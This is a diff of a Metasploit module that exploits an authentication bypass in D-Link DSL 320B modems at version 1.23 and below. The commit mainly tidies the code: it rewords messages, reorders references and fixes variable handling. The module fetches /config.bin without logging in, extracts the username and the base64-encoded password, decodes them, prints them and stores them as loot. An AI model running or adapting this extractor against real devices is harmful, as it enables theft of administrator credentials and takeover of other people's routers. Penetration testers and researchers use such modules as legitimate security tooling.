@@ -16,15 +16,16 @@ def initialize
16
16
super (
17
17
'Name' => 'DLink DSL 320B Password Extractor' ,
18
18
'Description' => %q{
19
- This module exploits an authentication bypass vulnerability in DSL 320B =< v1.23.
20
- With this vulnerability you are able to extract the password for the remote management.
21
- } ,
19
+ This module exploits an authentication bypass vulnerability in DLink DSL 320B
20
+ <=v1.23. This vulnerability allows to extract the credentials for the remote
21
+ management interface.
22
+ } ,
22
23
'References' =>
23
24
[
24
- [ 'URL' , 'http://www.dlink.com/de/de/home-solutions/connect/modems-and-gateways/dsl-320b-adsl-2-ethernet-modem' ] ,
25
- [ 'URL' , 'http://www.s3cur1ty.de/m1adv2013-018' ] ,
26
25
[ 'EDB' , '25252' ] ,
27
- [ 'OSVDB' , '93013' ]
26
+ [ 'OSVDB' , '93013' ] ,
27
+ [ 'URL' , 'http://www.s3cur1ty.de/m1adv2013-018' ] ,
28
+ [ 'URL' , 'http://www.dlink.com/de/de/home-solutions/connect/modems-and-gateways/dsl-320b-adsl-2-ethernet-modem' ] ,
28
29
] ,
29
30
'Author' => [
30
31
'Michael Messner <[email protected] >' ,
@@ -34,50 +35,49 @@ def initialize
34
35
end
35
36
36
37
def run
37
-
38
38
vprint_status ( "#{ rhost } :#{ rport } - Trying to access the configuration of the device" )
39
39
40
40
#download configuration
41
41
begin
42
42
res = send_request_cgi ( {
43
43
'uri' => '/config.bin' ,
44
- 'method' => 'GET' ,
45
- } )
44
+ 'method' => 'GET'
45
+ } )
46
46
47
47
return if res . nil?
48
48
return if ( res . headers [ 'Server' ] . nil? or res . headers [ 'Server' ] !~ /micro_httpd/ )
49
49
return if ( res . code == 404 )
50
50
51
51
if res . body =~ /sysPassword value/ or res . body =~ /sysUserName value/
52
52
if res . body !~ /sysPassword value/
53
- print_line ( "#{ rhost } :#{ rport } - Default Configuration of DSL 320B detected - no password section available, try admin/admin" )
53
+ print_status ( "#{ rhost } :#{ rport } - Default Configuration of DSL 320B detected - no password section available, try admin/admin" )
54
54
else
55
- print_good ( "#{ rhost } :#{ rport } - credentials successfully extracted" )
55
+ print_good ( "#{ rhost } :#{ rport } - Credentials successfully extracted" )
56
56
end
57
57
58
58
#store all details as loot -> there is some usefull stuff in the response
59
- loot = store_loot ( "Configuration_dsl320b.txt " , "text/plain" , rhost , res . body )
59
+ loot = store_loot ( "dlink.dsl320b.config " , "text/plain" , rhost , res . body )
60
60
print_good ( "#{ rhost } :#{ rport } - Configuration of DSL 320B downloaded to: #{ loot } " )
61
61
62
+ user = ""
63
+ pass = ""
64
+
62
65
res . body . each_line do |line |
63
66
if line =~ /\< sysUserName\ value\= \" (.*)\" \/ \> /
64
- @ user = $1
67
+ user = $1
65
68
next
66
69
end
67
70
if line =~ /\< sysPassword\ value\= \" (.*)\" \/ \> /
68
71
pass = $1
69
- vprint_good ( "#{ rhost } :#{ rport } - user: #{ @user } " )
70
- #pass = Base64.decode64(pass)
71
72
pass = Rex ::Text . decode_base64 ( pass )
72
- vprint_good ( "#{ rhost } :#{ rport } - pass: #{ pass } " )
73
-
74
- report_auth_info (
75
- :host => rhost ,
76
- :port => rport ,
77
- :sname => 'http' ,
78
- :user => @user ,
79
- :pass => pass ,
80
- :active => true
73
+ print_good ( "#{ rhost } :#{ rport } - Credentials found: #{ user } / #{ pass } " )
74
+ report_auth_info (
75
+ :host => rhost ,
76
+ :port => rport ,
77
+ :sname => 'http' ,
78
+ :user => user ,
79
+ :pass => pass ,
80
+ :active => true
81
81
)
82
82
end
83
83
end
0 commit comments